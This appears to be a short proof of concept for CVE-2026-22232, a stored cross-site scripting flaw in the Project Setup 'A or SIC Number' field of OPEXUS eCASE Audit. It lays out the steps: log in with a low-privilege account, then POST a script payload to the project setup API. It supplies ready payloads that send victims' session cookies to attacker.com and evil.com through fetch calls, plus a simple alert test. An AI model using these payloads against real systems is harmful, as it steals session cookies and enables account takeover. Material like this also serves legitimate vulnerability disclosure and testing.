CVE-2026-22232 OPEXUS eCASE Audit存储型XSS漏洞

// CVE-2026-22232 Stored XSS PoC // Target: OPEXUS eCASE Audit - Project Setup // Field: A or SIC Number // Step 1: Authenticate with low-privilege account // POST /api/auth/login // Body: {"username": "attacker", "password": "password123"} // Step 2: Navigate to Project Setup and inject XSS payload // POST /api/project/setup // Body: { // "project_id": "PROJECT-001", // "a_or_sic_number": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>", // "description": "Test Project" // } // Step 3: When other users view the project, the script executes automatically // Simple alert PoC: var xss_payload = '<script>alert("XSS by CVE-2026-22232")</script>'; // Or cookie stealing payload: var cookie_stealer = '<img src=x onerror="fetch(\'https://evil.com/log?c=\'+btoa(document.cookie))">';